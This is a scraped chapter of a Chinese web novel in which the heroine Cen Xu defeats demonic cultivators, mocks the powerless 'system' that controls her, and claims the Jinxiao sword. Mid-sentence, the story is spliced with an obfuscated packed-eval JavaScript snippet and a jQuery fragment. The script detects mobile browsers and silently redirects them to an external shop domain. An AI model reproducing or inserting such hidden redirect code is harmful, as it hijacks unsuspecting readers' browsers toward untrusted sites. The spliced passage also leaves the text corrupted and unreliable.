文趣网 > 其他小说 > 为归 > 15. 前尘似梦15
    岑许朝金霄剑走去。

    法阵阻止她,那就破阵。

    魔修阻拦她,那就除魔。

    原来一旦狠下心,挥剑伤人也不比炒菜颠锅难。

    视线之内俱是鲜红。

    腥甜的气味黏答答糊在鼻尖。

    惨叫与痛呼中,夹杂着喝骂:“许缀玉!你——”

    不听不听,一剑穿心。

    “噗哇!”喝骂者——练茯苓喷一口血,中止谤讥并发表临终感言,“能、能……死在造化手上,我也算……”

    “算你能装。”岑许抽剑,“我刺的是心脏不是灵基,你都合体境了,哪那么容易一剑刺死。”

    练茯苓顿住,嘴唇哆嗦了一下,恼道:“都落到你手上了,心脏和灵基有什么区别,你难道还会饶我一命?死不过早晚的事!”

    “早死晚死自有差异,安静等着。”岑许懒得和他废话,剑尖一挑一划,练茯苓就软塌塌地倒下了。

    手脚俱废,经脉封绝,练茯苓却还不消停,一张嘴跟豌豆射手似的,噗嗤噗嗤吐着字:“为什么不杀我?事到如今,你装什么慈悲?”

    “不对!”他眼珠转动,自顾自道,“你是觉得这么死便宜我们了。你要折磨我们?为什……哈!我明白了,你是为那些凡人和仙修报仇!原来如此,原来如此啊!”

    练茯苓眼睛亮起,恍然中居然还夹着亢奋:“我等魔修自诩善于伪装,结果终日打雁,却叫雁啄了眼!许缀玉,许上仙,我们从前都当你是个被情爱迷了神志的蠢货,没想到,被迷了神志的另有其人。堂堂造化境修士,为了覆灭魔界,竟用这种计谋潜入!忍辱负重至此,输给你,我们不——”

    嘭!

    岑许一剑鞘砸他脑袋上。

    自以为是的妄想症患者被砸得眼冒金星,嘴巴一张一合,再挤不出一句完整的话来。

    “叽里咕噜说什么呢。”岑许嫌弃道,“叫你安静,你耳朵聋吗?”

    金霄剑近在眼前。

    源于血脉的亲近感在呼唤这具身躯,岑许每近一步,都能看见剑身流转的光芒璀璨一分。

    怎么看,都是货真价实的金霄。

    但她没有放下警惕。

    璇玑宝库的法阵里,洛红绡就弄了柄假的黄金剑。岑许当时没有中招,是因为那阵法古老,早被公开,现场仿佛教科书插图,一眼便能认出真假。

    此处却不同。

    这儿的法阵是新的,明显有多人改动的痕迹,说不定用了某种不为人知的障眼法。

    岑许心中止不住地怀疑:毕竟是魔修赖以苟活的东西,真这么容易攻破吗?

    自己明面上是当世前三的修士,拥有最强的破阵神器,但这就意味着破阵轻松吗?不见得吧。

    理智告诉她,一切有迹可循,没什么值得疑心的:魔修改换阵法核心,是因为封瘴法阵有极限,本就需要迭代;改良法阵,是因为古阵法被研究太多,需要剔除掉那些人尽皆知的部分。

    自己也不必高估改良后的法阵。因为法阵的基础框架未改,说明魔界没有超越洛红绡的阵法大师。

    可她还是猜忌。

    宝库的主事看起来和洛红绡有点关系——是不是陷阱?阵眼是金霄,步观花却对自己毫无防备——有没有阴谋?

    魔修们信任洛红绡,他们的旧法阵纹丝不改、新法阵是洛红绡从前备下的……可他们凭什么信任洛红绡?

    洛红绡献上桃花渡,斩断亲缘,转入魔道,所以值得信任?一个无情无义的叛徒,值得信任?

    而且洛红绡明显不大信任他们。

    五行剑固然是封瘴法阵的阵眼优选,却未必是不二之选。至少以洛红绡之能,完全可以搓个更好的,可她没有这么做,而是选择定制法阵,让五行剑成为最佳选择……想也知道,是因为她能控制磐土。

    这很奇怪,洛红绡凭什么押注其余四姓不会在她有生之年被捕获,拆穿她的布局?

    论实力,洛红绡不是五姓垫底。

    论骨气,谁能笃定他人的气节?桃花渡血案前,洛红绡自己还表现得铁骨铮铮呢。

    困惑。猜疑。戒备。

    念头一个接一个钻出来,像一把钝刀,来回锯动岑许敏感的神经,嘎吱,嘎吱。

    自己疑心过重了吗?

    自己疑心过重了吧。

    但不能改,因为轻信的代价实在太疼了。

    太疼太疼了。

    讨厌。烦躁。憎恶。

    每有一种猜想不受控制地浮现,岑许对系统的痛恨就更添一分。

    偏那目中无人的怪物还阴魂不散。

    它喋喋不休、叫嚣不止,像一只甩不掉的苍蝇,在岑许耳边嗡嗡作响。

    【你竟然,用从我这里得到的术法破坏任务!】

    【我帮你晋升造化镜,不是为了让你乱来的!】

    系统的声音听起来相当狂躁。

    它不高兴,岑许就高兴多了,高兴得都有了回复它的闲情:“哦,对。你帮我晋升造化境,是为了让我成为配得上步观花的女人。”

    “不仅仅是修为。”她陈述道,“美貌、名声、能力、天资、性格……在你眼里,所有的美好都是用来配步观花的。”

    “我就奇了怪了。”岑许冷笑一声,“步观花一个丧尽天良的魔头,有什么资格谈配不配?要不是你强制扶贫,他连给许缀玉提鞋都不配。他那样的垃圾,配个垃圾桶就得了!”

    【那你就是屈尊降贵地当垃圾桶,还垃圾桶都当不好!蠢东西,这么说让你更舒坦吗?】

    “舒坦多了。”岑许阴阳怪气地说,“听实话有什么不舒坦的,我和聪明东西又不一样,吃屎不需要蘸糖。”

    【可笑,人类的粗俗用语对我有意义吗?】

    【你用词粗鄙,损毁的是你自己的素养;贬低步观花,折损的也只有你自己的声誉。】

    【我真是搞不懂,你为什么总这样,说些没好处的话、做些不讨好的事?你到底有什么毛病?】

    岑许讥诮道:“物质决定意识,人的意识反映客观实在,陈述事实合乎辩证唯物主义,我的毛病就是上过学,不及你横僿不文!”

    【你博学多才,所以呢?你能用异世界的理破本世界的局吗?派不上用场的东西,再正确也只是废纸一摞,毫无意义!】

    【你就是因为太迷信这些废物,才会连思考能力都丢了,只知道犯蠢!】

    “你不迷信废物,你有思考能力——”

    又一根弦崩断了。

    岑许厉声道:“那用你无敌的有用论阻止我犯蠢啊!”

    “来啊,施展你的神力,彰显你的威严!”

    她蓦地倒转剑锋,将惊昼狠狠插进地面,继而张开双臂,仿佛拥抱属于自己的毁灭。

    “打倒我,就有资格命令我!逞口头威风没意思——这是你说的!那就示范啊,系统,把有意思的东西示范给我看!”

    灵力因激烈的情绪而暴动,震得岑许衣袂猎猎,如旗翻飞。她的语中尽是挑衅:“来啊,废我的修为,折我的惊昼,用本世界的理破本世界的局——你倒是来啊!”

    惊昼嗡鸣不止,全力邀战,系统却迟迟不应。

    沉默,沉寂,没动作也不吭

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968280|214595||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    声,像死了一样令人安心。

    “动手啊,你是需要读条的法师,施法前还有前摇吗?”岑许毫不留情地挖苦道。

    久久等不到回应,她的暴烈逐渐被近乎轻佻的嘲弄浸染:“行动啊系统,难道你临阵改了主意,不觉得我在犯蠢,也不觉得我在破坏任务了?”

    【……】

    “说话!高级生命也会哑吗?哑了你就打字!再没文化,字总认识的吧?”岑许步步紧逼,像一条发现猎物致命弱点的毒蛇,眼瞳竖立,全身绷紧,嘶嘶吐着信子——她全神贯注、一字一顿地问:“动手啊,你不动手,总不会是因为不想吧?”

    系统沉默着。

    可笑地、可耻地、可怜地沉默着。

    岑许静静等了几息。

    几息之后,她缓缓地笑了。

    “所以,你做不到。”岑许轻声细语地总结,“你其实拿宿主——拿我没办法,对吧?如果我不被你的语言迷惑,不会被你的奖励蛊惑,你就拿我没辙,对吧?口口声声说什么有用、没用,其实你最没用,对.吧?”

    系统依旧沉默。

    “我真傻。”片刻后,岑许说。

    她抬起手,捂住脸,从指缝漏出一声叹息:“原来是这样,竟然是这样,那我这一路小心翼翼的提防算什么啊?和空气斗智斗勇,我真傻。”

    “你也真是的,系统。”岑许轻柔地嗔怪,缱绻得像情人间的耳语,“明明是我的系统,却瞒着我做废物,多生分啊……你早该告诉我的。”

    “你早该告诉我的。”岑许重复道,“你就是个废物……哈,哈哈。”

    笑声从岑许喉咙里滚出来。

    起初是低低的笑,然后越来越高亢,越来越尖利,愈增恶意,愈加癫狂。

    “系统,你就是个废物,你是最货真价实的废物!”岑许笑得眼泪都快掉出来了,她擦了擦眼角,骂道,“一个废物还敢大言不惭,你真好笑。你不仅是废物,还是个笑话,世界上最大的笑话!”

    岑许狠狠地奚落它:“派不上用场的废物,你一天天地装什么呢,没人教过你么,废物就要有废物的样子!废物连呼吸都是对氧气的亵渎,更别说命令和指挥了,你能指挥什么,你能命令什么?你有什么能力,你有什么——资格?”

    系统似乎有些愠怒。

    【你……】

    “闭嘴,废物!”岑许呵道,“你只需要当个痴呆的观众,看我怎么拔去步观花爪牙,再将他斩于剑下——除此之外,你.什.么.都.做.不.到。”

    【……】

    再没有后顾之忧,岑许握住金霄。

    是真货。

    于是刹那间,狂风起,法阵崩,不计其数的黑气从地底钻出,如还阳的怨灵,不顾一切绞住昔日的仇敌——魔修,每一个魔修。

    “啊啊啊啊这是什么,好痛!啊——好痛!”

    “救命,救命!不要过来,你不要过啊啊啊啊!”

    惨叫没有持续很久,因为剧痛吞没了哀鸣。

    阖谷魔修,无一幸免。

    无数人倒在岑许脚边,他们流着泪、泣着血,偶尔挤出两三声气若游丝的嗬嗬音,看起来痛苦至极。

    有人试图自尽,但动弹不得,尝试使用灵力,可灵力刚聚起就被黑气吞没……“活”变成了绝望的代名词,“死”成为求不得的奢侈品。

    多可怜,多可憎。

    多残忍,多畅快。

    岑许拔起惊昼。

    剑身纤尘不染,映着陌生的倒影,直到万千喧嚣化为乌有,也没有哪怕一丝一毫的颤动。

    多称心。